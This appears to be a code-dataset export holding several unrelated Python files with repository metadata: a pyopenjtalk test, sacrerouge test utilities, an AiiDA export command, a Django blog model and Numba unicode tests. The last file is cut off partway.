kamo-naoyuki/pyopenjtalk
5d111301298ac630d2eae8c0a9e4c1af06b02fa4
[ "MIT" ]
null
null
null
tests/test_legacy.py
kamo-naoyuki/pyopenjtalk
5d111301298ac630d2eae8c0a9e4c1af06b02fa4
[ "MIT" ]
null
null
null
from pyopenjtalk.legacy import openjtalk from nose.plugins.attrib import attr @attr("local_only") def test_legacy(): prons, labels, params = openjtalk("こんにちは") for l in labels: print(l) assert "".join(prons) == "コンニチワ"
21.909091
46
0.680498
from pyopenjtalk.legacy import openjtalk from nose.plugins.attrib import attr @attr("local_only") def test_legacy(): prons, labels, params = openjtalk("こんにちは") for l in labels: print(l) assert "".join(prons) == "コンニチワ"
true
true
f71f1e1feee03baa2748e6681aea5387b62bc527
2,458
py
Python
sacrerouge/common/testing/util.py
danieldeutsch/decomposed-rouge
0d723be8e3359f0bdcc9c7940336800895e46dbb
[ "Apache-2.0" ]
1
2022-03-30T13:39:10.000Z
2022-03-30T13:39:10.000Z
sacrerouge/common/testing/util.py
danieldeutsch/decomposed-rouge
0d723be8e3359f0bdcc9c7940336800895e46dbb
[ "Apache-2.0" ]
null
null
null
sacrerouge/common/testing/util.py
danieldeutsch/decomposed-rouge
0d723be8e3359f0bdcc9c7940336800895e46dbb
[ "Apache-2.0" ]
1
2021-12-05T14:55:10.000Z
2021-12-05T14:55:10.000Z
import argparse from collections import defaultdict from typing import Dict, List from sacrerouge import build_argument_parser from sacrerouge.data import Metrics, MetricsDict from sacrerouge.data.types import ReferenceType, SummaryType from sacrerouge.io import JsonlReader def load_summaries(file_path: str) -> List[SummaryType]: fields = [] for data in JsonlReader(file_path).read(): fields.append(data['summary']) return fields def load_references(file_path: str) -> List[ReferenceType]: fields = [] for data in JsonlReader(file_path).read(): if 'summary' in data: fields.append([data['summary']['text']]) elif 'summaries' in data: fields.append([summary['text'] for summary in data['summaries']]) elif 'reference' in data: fields.append([data['reference']['text']]) elif 'references' in data: fields.append([reference['text'] for reference in data['references']]) return fields def load_metrics_dicts(file_path: str) -> Dict[str, Dict[str, MetricsDict]]: metrics_dicts = defaultdict(dict) with JsonlReader(file_path, Metrics) as f: for instance in f: metrics_dicts[instance.instance_id][instance.summarizer_id] = instance.metrics return metrics_dicts def command_exists(parser: argparse.ArgumentParser, command: List[str]) -> bool: """ Checks to see if a specific command exists in the `parser`. The `parser` should be the root `ArgumentParser` for the command. The method will traverse through the `parser` to see if the `command` exists. This method does not work for checking arguments of a specific command. """ # _subparsers is none when no subcommands exist if parser._subparsers is None: return False for action in parser._subparsers._group_actions: for choice, subparser in action.choices.items(): if choice == command[0]: if len(command) == 1: # The whole command has been matched return True else: return command_exists(subparser, command[1:]) # We didn't find the first command, so it doesn't exist return False def sacrerouge_command_exists(command: List[str]) -> bool: """Verifies if the command exists for the 'sacrerouge' command.""" parser = build_argument_parser() return command_exists(parser, command)
36.686567
90
0.673718
import argparse from collections import defaultdict from typing import Dict, List from sacrerouge import build_argument_parser from sacrerouge.data import Metrics, MetricsDict from sacrerouge.data.types import ReferenceType, SummaryType from sacrerouge.io import JsonlReader def load_summaries(file_path: str) -> List[SummaryType]: fields = [] for data in JsonlReader(file_path).read(): fields.append(data['summary']) return fields def load_references(file_path: str) -> List[ReferenceType]: fields = [] for data in JsonlReader(file_path).read(): if 'summary' in data: fields.append([data['summary']['text']]) elif 'summaries' in data: fields.append([summary['text'] for summary in data['summaries']]) elif 'reference' in data: fields.append([data['reference']['text']]) elif 'references' in data: fields.append([reference['text'] for reference in data['references']]) return fields def load_metrics_dicts(file_path: str) -> Dict[str, Dict[str, MetricsDict]]: metrics_dicts = defaultdict(dict) with JsonlReader(file_path, Metrics) as f: for instance in f: metrics_dicts[instance.instance_id][instance.summarizer_id] = instance.metrics return metrics_dicts def command_exists(parser: argparse.ArgumentParser, command: List[str]) -> bool: if parser._subparsers is None: return False for action in parser._subparsers._group_actions: for choice, subparser in action.choices.items(): if choice == command[0]: if len(command) == 1: return True else: return command_exists(subparser, command[1:]) return False def sacrerouge_command_exists(command: List[str]) -> bool: parser = build_argument_parser() return command_exists(parser, command)
true
true
f71f1e2217fa3aff9575b0663d5002fc5e342900
4,800
py
Python
aiida/cmdline/commands/cmd_data/cmd_export.py
iriberri/aiida_core
c4a1ec5dac92ee62c59d39ca580bde449f3abf73
[ "BSD-2-Clause" ]
null
null
null
aiida/cmdline/commands/cmd_data/cmd_export.py
iriberri/aiida_core
c4a1ec5dac92ee62c59d39ca580bde449f3abf73
[ "BSD-2-Clause" ]
null
null
null
aiida/cmdline/commands/cmd_data/cmd_export.py
iriberri/aiida_core
c4a1ec5dac92ee62c59d39ca580bde449f3abf73
[ "BSD-2-Clause" ]
1
2018-12-21T11:10:09.000Z
2018-12-21T11:10:09.000Z
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # # # The code is hosted on GitHub at https://github.com/aiidateam/aiida_core # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.aiida.net # ########################################################################### """ This module provides export functionality to all data types """ import click from aiida.cmdline.utils import echo from aiida.cmdline.params import arguments from aiida.cmdline.params import options EXPORT_OPTIONS = [ click.option( '--reduce-symmetry/--no-reduce-symmetry', 'reduce_symmetry', is_flag=True, default=None, help='Do (default) or do not perform symmetry reduction.'), click.option( '--parameter-data', type=click.INT, default=None, help="ID of the ParameterData to be exported alongside the" " StructureData instance. By default, if StructureData" " originates from a calculation with single" " ParameterData in the output, aforementioned" " ParameterData is picked automatically. Instead, the" " option is used in the case the calculation produces" " more than a single instance of ParameterData."), click.option( '--dump-aiida-database/--no-dump-aiida-database', 'dump_aiida_database', is_flag=True, default=None, help='Export (default) or do not export AiiDA database to the CIF file.'), click.option( '--exclude-external-contents/--no-exclude-external-contents', 'exclude_external_contents', is_flag=True, default=None, help='Do not (default) or do save the contents for external resources even if URIs are provided'), click.option('--gzip/--no-gzip', is_flag=True, default=None, help='Do or do not (default) gzip large files.'), click.option( '--gzip-threshold', type=click.INT, default=None, help="Specify the minimum size of exported file which should" " be gzipped."), click.option( '-o', '--output', type=click.STRING, default=None, help="If present, store the output directly on a file " "with the given name. It is essential to use this option " "if more than one file needs to be created."), options.FORCE(help="If passed, overwrite files without checking."), arguments.NODE(), ] def export_options(func): for option in reversed(EXPORT_OPTIONS): func = option(func) return func def _export(node, output_fname, fileformat, other_args=None, overwrite=False): """ Depending on the parameters, either print the (single) output file on screen, or store the file(s) on disk. :param node: the Data node to print or store on disk :param output_fname: The filename to store the main file. If empty or None, print instead :param fileformat: a string to pass to the _exportstring method :param other_args: a dictionary with additional kwargs to pass to _exportstring :param overwrite: if False, stops if any file already exists (when output_fname is not empty :note: this function calls directly sys.exit(1) when an error occurs (or e.g. if check_overwrite is True and a file already exists). """ if other_args is None: other_args = {} try: # pylint: disable=protected-access if output_fname: try: node.export(output_fname, fileformat=fileformat, overwrite=overwrite, **other_args) except OSError as err: echo.echo_critical("verdi: ERROR while exporting file:\n" + err.message) else: filetext, extra_files = node._exportstring(fileformat, main_file_name=output_fname, **other_args) if extra_files: echo.echo_critical("This format requires to write more than one file.\n" "You need to pass the -o option to specify a file name.") else: print filetext except TypeError as err: # This typically occurs for parameters that are passed down to the # methods in, e.g., BandsData, but they are not accepted echo.echo_critical("verdi: ERROR, probably a parameter is not " "supported by the specific format.\nError " "message: {}".format(err.message))
42.477876
114
0.604167
false
true
f71f1e32af4b984c299468f63a15c54e52c1d245
2,017
py
Python
tombomation/blog/models.py
tcuthbert/tombomation.net
64932b533f88744b189937a2a71f74600c0b3e18
[ "MIT" ]
null
null
null
tombomation/blog/models.py
tcuthbert/tombomation.net
64932b533f88744b189937a2a71f74600c0b3e18
[ "MIT" ]
null
null
null
tombomation/blog/models.py
tcuthbert/tombomation.net
64932b533f88744b189937a2a71f74600c0b3e18
[ "MIT" ]
null
null
null
from django.db import models from markdown import markdown # Create your models here. # Reference: http://www.yaconiello.com/blog/part-1-creating-blog-system-using-django-markdown/ class Category(models.Model): """Category Model""" title = models.CharField( verbose_name = (u'Title'), help_text = (u' '), max_length = 255 ) slug = models.SlugField( verbose_name = (u'Slug'), help_text = (u'Uri identifier.'), max_length = 255, unique = True ) class Meta: app_label = (u'blog') verbose_name = (u"Category") verbose_name_plural = (u"Categories") ordering = ['title',] def __unicode__(self): return "%s" % (self.title, ) class Post(models.Model): """Post Model""" title = models.CharField( verbose_name = (u'Title'), help_text = (u' '), max_length = 255 ) slug = models.SlugField( verbose_name = (u'Slug'), help_text = (u'Uri identifier.'), max_length = 255, unique = True ) content_markdown = models.TextField( verbose_name = (u'Content (Markdown)'), help_text = (u'') ) content_markup = models.TextField( verbose_name = (u'Content (Markup)'), help_text = (u' ') ) categories = models.ManyToManyField( Category, verbose_name = (u'Categories'), help_text = (u' '), null = True, blank = True ) date_publish = models.DateTimeField( verbose_name = (u'Publish Date'), help_text = (u' '), auto_now=True ) class Meta: app_label = (u'blog') verbose_name = (u'Post') verbose_name_plural = (u'Posts') ordering = ['-date_publish'] def save(self, *args, **kwargs): self.content_markup = markdown(self.content_markdown, ['codehilite']) super(Post, self).save(*args, **kwargs) def __unicode__(self): return "%s" % (self.title,)
26.194805
94
0.565692
from django.db import models from markdown import markdown class Category(models.Model): title = models.CharField( verbose_name = (u'Title'), help_text = (u' '), max_length = 255 ) slug = models.SlugField( verbose_name = (u'Slug'), help_text = (u'Uri identifier.'), max_length = 255, unique = True ) class Meta: app_label = (u'blog') verbose_name = (u"Category") verbose_name_plural = (u"Categories") ordering = ['title',] def __unicode__(self): return "%s" % (self.title, ) class Post(models.Model): title = models.CharField( verbose_name = (u'Title'), help_text = (u' '), max_length = 255 ) slug = models.SlugField( verbose_name = (u'Slug'), help_text = (u'Uri identifier.'), max_length = 255, unique = True ) content_markdown = models.TextField( verbose_name = (u'Content (Markdown)'), help_text = (u'') ) content_markup = models.TextField( verbose_name = (u'Content (Markup)'), help_text = (u' ') ) categories = models.ManyToManyField( Category, verbose_name = (u'Categories'), help_text = (u' '), null = True, blank = True ) date_publish = models.DateTimeField( verbose_name = (u'Publish Date'), help_text = (u' '), auto_now=True ) class Meta: app_label = (u'blog') verbose_name = (u'Post') verbose_name_plural = (u'Posts') ordering = ['-date_publish'] def save(self, *args, **kwargs): self.content_markup = markdown(self.content_markdown, ['codehilite']) super(Post, self).save(*args, **kwargs) def __unicode__(self): return "%s" % (self.title,)
true
true
f71f1e7f381f891029ed59f8389550fccb044dd7
19,628
py
Python
env/lib/python3.7/site-packages/numba/tests/test_unicode.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
env/lib/python3.7/site-packages/numba/tests/test_unicode.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
env/lib/python3.7/site-packages/numba/tests/test_unicode.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # This file tests Python 3.4 style unicode strings # Tests should be skipped on Python < 3.4 from __future__ import print_function import sys from itertools import permutations from numba import njit import numba.unittest_support as unittest from .support import (TestCase, no_pyobj_flags, MemoryLeakMixin) from numba.errors import TypingError _py34_or_later = sys.version_info[:2] >= (3, 4) def literal_usecase(): return '大处着眼,小处着手。' def passthrough_usecase(x): return x def eq_usecase(x, y): return x == y def len_usecase(x): return len(x) def getitem_usecase(x, i): return x[i] def concat_usecase(x, y): return x + y def inplace_concat_usecase(x, y): x += y return x def in_usecase(x, y): return x in y def lt_usecase(x, y): return x < y def le_usecase(x, y): return x <= y def gt_usecase(x, y): return x > y def ge_usecase(x, y): return x >= y def find_usecase(x, y): return x.find(y) def startswith_usecase(x, y): return x.startswith(y) def endswith_usecase(x, y): return x.endswith(y) def split_usecase(x, y): return x.split(y) def split_with_maxsplit_usecase(x, y, maxsplit): return x.split(y, maxsplit) def split_with_maxsplit_kwarg_usecase(x, y, maxsplit): return x.split(y, maxsplit=maxsplit) def split_whitespace_usecase(x): return x.split() def join_usecase(x, y): return x.join(y) def join_empty_usecase(x): # hack to make empty typed list l = [''] l.pop() return x.join(l) class BaseTest(MemoryLeakMixin, TestCase): def setUp(self): super(BaseTest, self).setUp() UNICODE_EXAMPLES = [ 'ascii', '12345', '1234567890', '¡Y tú quién te crees?', '🐍⚡', '大处着眼,小处着手。', ] UNICODE_ORDERING_EXAMPLES = [ '', 'a' 'aa', 'aaa', 'b', 'aab', 'ab', 'asc', 'ascih', 'ascii', 'ascij', '大处着眼,小处着手', '大处着眼,小处着手。', '大处着眼,小处着手。🐍⚡', ] @unittest.skipUnless(_py34_or_later, 'unicode support requires Python 3.4 or later') class TestUnicode(BaseTest): def test_literal(self, flags=no_pyobj_flags): pyfunc = literal_usecase self.run_nullary_func(pyfunc, flags=flags) def test_passthrough(self, flags=no_pyobj_flags): pyfunc = passthrough_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: self.assertEqual(pyfunc(s), cfunc(s)) def test_eq(self, flags=no_pyobj_flags): pyfunc = eq_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in reversed(UNICODE_EXAMPLES): self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def _check_ordering_op(self, usecase): pyfunc = usecase cfunc = njit(pyfunc) # Check comparison to self for a in UNICODE_ORDERING_EXAMPLES: self.assertEqual( pyfunc(a, a), cfunc(a, a), '%s: "%s", "%s"' % (usecase.__name__, a, a), ) # Check comparison to adjacent for a, b in permutations(UNICODE_ORDERING_EXAMPLES, r=2): self.assertEqual( pyfunc(a, b), cfunc(a, b), '%s: "%s", "%s"' % (usecase.__name__, a, b), ) # and reversed self.assertEqual( pyfunc(b, a), cfunc(b, a), '%s: "%s", "%s"' % (usecase.__name__, b, a), ) def test_lt(self, flags=no_pyobj_flags): self._check_ordering_op(lt_usecase) def test_le(self, flags=no_pyobj_flags): self._check_ordering_op(le_usecase) def test_gt(self, flags=no_pyobj_flags): self._check_ordering_op(gt_usecase) def test_ge(self, flags=no_pyobj_flags): self._check_ordering_op(ge_usecase) def test_len(self, flags=no_pyobj_flags): pyfunc = len_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: self.assertEqual(pyfunc(s), cfunc(s)) def test_startswith(self, flags=no_pyobj_flags): pyfunc = startswith_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in [x for x in ['', 'x', a[:-2], a[3:], a, a + a]]: self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def test_endswith(self, flags=no_pyobj_flags): pyfunc = endswith_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in [x for x in ['', 'x', a[:-2], a[3:], a, a + a]]: self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def test_in(self, flags=no_pyobj_flags): pyfunc = in_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: extras = ['', 'xx', a[::-1], a[:-2], a[3:], a, a + a] for substr in [x for x in extras]: self.assertEqual(pyfunc(substr, a), cfunc(substr, a), "'%s' in '%s'?" % (substr, a)) def test_find(self, flags=no_pyobj_flags): pyfunc = find_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: extras = ['', 'xx', a[::-1], a[:-2], a[3:], a, a + a] for substr in [x for x in extras]: self.assertEqual(pyfunc(a, substr), cfunc(a, substr), "'%s'.find('%s')?" % (a, substr)) def test_getitem(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in range(-len(s)): self.assertEqual(pyfunc(s, i), cfunc(s, i), "'%s'[%d]?" % (s, i)) def test_getitem_error(self): self.disable_leak_check() pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: with self.assertRaises(IndexError) as raises: pyfunc(s, len(s)) self.assertIn('string index out of range', str(raises.exception)) with self.assertRaises(IndexError) as raises: cfunc(s, len(s)) self.assertIn('string index out of range', str(raises.exception)) def test_slice2(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in list(range(-len(s), len(s))): for j in list(range(-len(s), len(s))): sl = slice(i, j) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d]?" % (s, i, j)) def test_slice2_error(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in [-2, -1, len(s), len(s) + 1]: for j in [-2, -1, len(s), len(s) + 1]: sl = slice(i, j) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d]?" % (s, i, j)) def test_slice3(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in range(-len(s), len(s)): for j in range(-len(s), len(s)): for k in [-2, -1, 1, 2]: sl = slice(i, j, k) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d:%d]?" % (s, i, j, k)) def test_slice3_error(self): pyfunc = getitem_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: for i in [-2, -1, len(s), len(s) + 1]: for j in [-2, -1, len(s), len(s) + 1]: for k in [-2, -1, 1, 2]: sl = slice(i, j, k) self.assertEqual(pyfunc(s, sl), cfunc(s, sl), "'%s'[%d:%d:%d]?" % (s, i, j, k)) def test_concat(self, flags=no_pyobj_flags): pyfunc = concat_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in UNICODE_EXAMPLES[::-1]: self.assertEqual(pyfunc(a, b), cfunc(a, b), "'%s' + '%s'?" % (a, b)) def test_split_exception_empty_sep(self): self.disable_leak_check() pyfunc = split_usecase cfunc = njit(pyfunc) # Handle empty separator exception for func in [pyfunc, cfunc]: with self.assertRaises(ValueError) as raises: func('a', '') self.assertIn('empty separator', str(raises.exception)) def test_split_exception_noninteger_maxsplit(self): pyfunc = split_with_maxsplit_usecase cfunc = njit(pyfunc) # Handle non-integer maxsplit exception for sep in [' ', None]: with self.assertRaises(TypingError) as raises: cfunc('a', sep, 2.4) self.assertIn('float64', str(raises.exception), 'non-integer maxsplit with sep = %s' % sep) def test_split(self): pyfunc = split_usecase cfunc = njit(pyfunc) CASES = [ (' a ', None), ('', '⚡'), ('abcabc', '⚡'), ('🐍⚡', '⚡'), ('🐍⚡🐍', '⚡'), ('abababa', 'a'), ('abababa', 'b'), ('abababa', 'c'), ('abababa', 'ab'), ('abababa', 'aba'), ] for test_str, splitter in CASES: self.assertEqual(pyfunc(test_str, splitter), cfunc(test_str, splitter), "'%s'.split('%s')?" % (test_str, splitter)) def test_split_with_maxsplit(self): CASES = [ (' a ', None, 1), ('', '⚡', 1), ('abcabc', '⚡', 1), ('🐍⚡', '⚡', 1), ('🐍⚡🐍', '⚡', 1), ('abababa', 'a', 2), ('abababa', 'b', 1), ('abababa', 'c', 2), ('abababa', 'ab', 1), ('abababa', 'aba', 5), ] for pyfunc, fmt_str in [(split_with_maxsplit_usecase, "'%s'.split('%s', %d)?"), (split_with_maxsplit_kwarg_usecase, "'%s'.split('%s', maxsplit=%d)?")]: cfunc = njit(pyfunc) for test_str, splitter, maxsplit in CASES: self.assertEqual(pyfunc(test_str, splitter, maxsplit), cfunc(test_str, splitter, maxsplit), fmt_str % (test_str, splitter, maxsplit)) def test_split_whitespace(self): # explicit sep=None cases covered in test_split and test_split_with_maxsplit pyfunc = split_whitespace_usecase cfunc = njit(pyfunc) #list copied from https://github.com/python/cpython/blob/master/Objects/unicodetype_db.h all_whitespace = ''.join(map(chr, [ 0x0009, 0x000A, 0x000B, 0x000C, 0x000D, 0x001C, 0x001D, 0x001E, 0x001F, 0x0020, 0x0085, 0x00A0, 0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200A, 0x2028, 0x2029, 0x202F, 0x205F, 0x3000 ])) CASES = [ '', 'abcabc', '🐍 ⚡', '🐍 ⚡ 🐍', '🐍 ⚡ 🐍 ', ' 🐍 ⚡ 🐍', ' 🐍' + all_whitespace + '⚡ 🐍 ', ] for test_str in CASES: self.assertEqual(pyfunc(test_str), cfunc(test_str), "'%s'.split()?" % (test_str,)) def test_join_empty(self): # Can't pass empty list to nopython mode, so we have to make a # separate test case pyfunc = join_empty_usecase cfunc = njit(pyfunc) CASES = [ '', '🐍🐍🐍', ] for sep in CASES: self.assertEqual(pyfunc(sep), cfunc(sep), "'%s'.join([])?" % (sep,)) def test_join_non_string_exception(self): # Verify that join of list of integers raises typing exception pyfunc = join_usecase cfunc = njit(pyfunc) # Handle empty separator exception with self.assertRaises(TypingError) as raises: cfunc('', [1,2,3]) # This error message is obscure, but indicates the error was trapped in typing of str.join() # Feel free to change this as we update error messages. exc_message = str(raises.exception) self.assertIn("Invalid use of BoundFunction", exc_message) self.assertIn("(reflected list(int", exc_message) # could be int32 or int64 def test_join(self): pyfunc = join_usecase cfunc = njit(pyfunc) CASES = [ ('', ['', '', '']), ('a', ['', '', '']), ('', ['a', 'bbbb', 'c']), ('🐍🐍🐍', ['⚡⚡'] * 5), ] for sep, parts in CASES: self.assertEqual(pyfunc(sep, parts), cfunc(sep, parts), "'%s'.join('%s')?" % (sep, parts)) def test_join_interleave_str(self): # can pass a string as the parts iterable pyfunc = join_usecase cfunc = njit(pyfunc) CASES = [ ('abc', '123'), ('🐍🐍🐍', '⚡⚡'), ] for sep, parts in CASES: self.assertEqual(pyfunc(sep, parts), cfunc(sep, parts), "'%s'.join('%s')?" % (sep, parts)) def test_inplace_concat(self, flags=no_pyobj_flags): pyfunc = inplace_concat_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in UNICODE_EXAMPLES[::-1]: self.assertEqual(pyfunc(a, b), cfunc(a, b), "'%s' + '%s'?" % (a, b)) def test_pointless_slice(self, flags=no_pyobj_flags): def pyfunc(a): return a[:] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_walk_backwards(self, flags=no_pyobj_flags): def pyfunc(a): return a[::-1] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_stride_slice(self, flags=no_pyobj_flags): def pyfunc(a): return a[::2] cfunc = njit(pyfunc) args = ['a'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_basic_lt(self, flags=no_pyobj_flags): def pyfunc(a, b): return a < b cfunc = njit(pyfunc) args = ['ab', 'b'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_basic_gt(self, flags=no_pyobj_flags): def pyfunc(a, b): return a > b cfunc = njit(pyfunc) args = ['ab', 'b'] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_comparison(self): def pyfunc(option, x, y): if option == '==': return x == y elif option == '!=': return x != y elif option == '<': return x < y elif option == '>': return x > y elif option == '<=': return x <= y elif option == '>=': return x >= y else: return None cfunc = njit(pyfunc) for x, y in permutations(UNICODE_ORDERING_EXAMPLES, r=2): for cmpop in ['==', '!=', '<', '>', '<=', '>=', '']: args = [cmpop, x, y] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_concat(self): def pyfunc(x): abc = 'abc' if len(x): return abc + 'b123' + x + 'IO' else: return x + abc + '123' + x cfunc = njit(pyfunc) args = ['x'] self.assertEqual(pyfunc(*args), cfunc(*args)) args = [''] self.assertEqual(pyfunc(*args), cfunc(*args)) def test_literal_comparison(self): def pyfunc(option): x = 'a123' y = 'aa12' if option == '==': return x == y elif option == '!=': return x != y elif option == '<': return x < y elif option == '>': return x > y elif option == '<=': return x <= y elif option == '>=': return x >= y else: return None cfunc = njit(pyfunc) for cmpop in ['==', '!=', '<', '>', '<=', '>=', '']: args = [cmpop] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_len(self): def pyfunc(): return len('abc') cfunc = njit(pyfunc) self.assertEqual(pyfunc(), cfunc()) def test_literal_getitem(self): def pyfunc(which): return 'abc'[which] cfunc = njit(pyfunc) for a in [-1, 0, 1, slice(1, None), slice(None, -1)]: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_in(self): def pyfunc(x): return x in '9876zabiuh' cfunc = njit(pyfunc) for a in ['a', '9', '1', '', '8uha', '987']: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_xyzwith(self): def pyfunc(x, y): return 'abc'.startswith(x), 'cde'.endswith(y) cfunc = njit(pyfunc) for args in permutations('abcdefg', r=2): self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) def test_literal_find(self): def pyfunc(x): return 'abc'.find(x), x.find('a') cfunc = njit(pyfunc) for a in ['ab']: args = [a] self.assertEqual(pyfunc(*args), cfunc(*args), msg='failed on {}'.format(args)) @unittest.skipUnless(_py34_or_later, 'unicode support requires Python 3.4 or later') class TestUnicodeInTuple(BaseTest): def test_const_unicode_in_tuple(self): # Issue 3673 @njit def f(): return ('aa',) < ('bb',) self.assertEqual(f.py_func(), f()) @njit def f(): return ('cc',) < ('bb',) self.assertEqual(f.py_func(), f()) def test_const_unicode_in_hetero_tuple(self): @njit def f(): return ('aa', 1) < ('bb', 1) self.assertEqual(f.py_func(), f()) @njit def f(): return ('aa', 1) < ('aa', 2) self.assertEqual(f.py_func(), f()) if __name__ == '__main__': unittest.main()
29.339312
103
0.481659
from __future__ import print_function import sys from itertools import permutations from numba import njit import numba.unittest_support as unittest from .support import (TestCase, no_pyobj_flags, MemoryLeakMixin) from numba.errors import TypingError _py34_or_later = sys.version_info[:2] >= (3, 4) def literal_usecase(): return '大处着眼,小处着手。' def passthrough_usecase(x): return x def eq_usecase(x, y): return x == y def len_usecase(x): return len(x) def getitem_usecase(x, i): return x[i] def concat_usecase(x, y): return x + y def inplace_concat_usecase(x, y): x += y return x def in_usecase(x, y): return x in y def lt_usecase(x, y): return x < y def le_usecase(x, y): return x <= y def gt_usecase(x, y): return x > y def ge_usecase(x, y): return x >= y def find_usecase(x, y): return x.find(y) def startswith_usecase(x, y): return x.startswith(y) def endswith_usecase(x, y): return x.endswith(y) def split_usecase(x, y): return x.split(y) def split_with_maxsplit_usecase(x, y, maxsplit): return x.split(y, maxsplit) def split_with_maxsplit_kwarg_usecase(x, y, maxsplit): return x.split(y, maxsplit=maxsplit) def split_whitespace_usecase(x): return x.split() def join_usecase(x, y): return x.join(y) def join_empty_usecase(x): l = [''] l.pop() return x.join(l) class BaseTest(MemoryLeakMixin, TestCase): def setUp(self): super(BaseTest, self).setUp() UNICODE_EXAMPLES = [ 'ascii', '12345', '1234567890', '¡Y tú quién te crees?', '🐍⚡', '大处着眼,小处着手。', ] UNICODE_ORDERING_EXAMPLES = [ '', 'a' 'aa', 'aaa', 'b', 'aab', 'ab', 'asc', 'ascih', 'ascii', 'ascij', '大处着眼,小处着手', '大处着眼,小处着手。', '大处着眼,小处着手。🐍⚡', ] @unittest.skipUnless(_py34_or_later, 'unicode support requires Python 3.4 or later') class TestUnicode(BaseTest): def test_literal(self, flags=no_pyobj_flags): pyfunc = literal_usecase self.run_nullary_func(pyfunc, flags=flags) def test_passthrough(self, flags=no_pyobj_flags): pyfunc = passthrough_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: self.assertEqual(pyfunc(s), cfunc(s)) def test_eq(self, flags=no_pyobj_flags): pyfunc = eq_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in reversed(UNICODE_EXAMPLES): self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def _check_ordering_op(self, usecase): pyfunc = usecase cfunc = njit(pyfunc) for a in UNICODE_ORDERING_EXAMPLES: self.assertEqual( pyfunc(a, a), cfunc(a, a), '%s: "%s", "%s"' % (usecase.__name__, a, a), ) for a, b in permutations(UNICODE_ORDERING_EXAMPLES, r=2): self.assertEqual( pyfunc(a, b), cfunc(a, b), '%s: "%s", "%s"' % (usecase.__name__, a, b), ) self.assertEqual( pyfunc(b, a), cfunc(b, a), '%s: "%s", "%s"' % (usecase.__name__, b, a), ) def test_lt(self, flags=no_pyobj_flags): self._check_ordering_op(lt_usecase) def test_le(self, flags=no_pyobj_flags): self._check_ordering_op(le_usecase) def test_gt(self, flags=no_pyobj_flags): self._check_ordering_op(gt_usecase) def test_ge(self, flags=no_pyobj_flags): self._check_ordering_op(ge_usecase) def test_len(self, flags=no_pyobj_flags): pyfunc = len_usecase cfunc = njit(pyfunc) for s in UNICODE_EXAMPLES: self.assertEqual(pyfunc(s), cfunc(s)) def test_startswith(self, flags=no_pyobj_flags): pyfunc = startswith_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in [x for x in ['', 'x', a[:-2], a[3:], a, a + a]]: self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def test_endswith(self, flags=no_pyobj_flags): pyfunc = endswith_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: for b in [x for x in ['', 'x', a[:-2], a[3:], a, a + a]]: self.assertEqual(pyfunc(a, b), cfunc(a, b), '%s, %s' % (a, b)) def test_in(self, flags=no_pyobj_flags): pyfunc = in_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: extras = ['', 'xx', a[::-1], a[:-2], a[3:], a, a + a] for substr in [x for x in extras]: self.assertEqual(pyfunc(substr, a), cfunc(substr, a), "'%s' in '%s'?" % (substr, a)) def test_find(self, flags=no_pyobj_flags): pyfunc = find_usecase cfunc = njit(pyfunc) for a in UNICODE_EXAMPLES: extras = 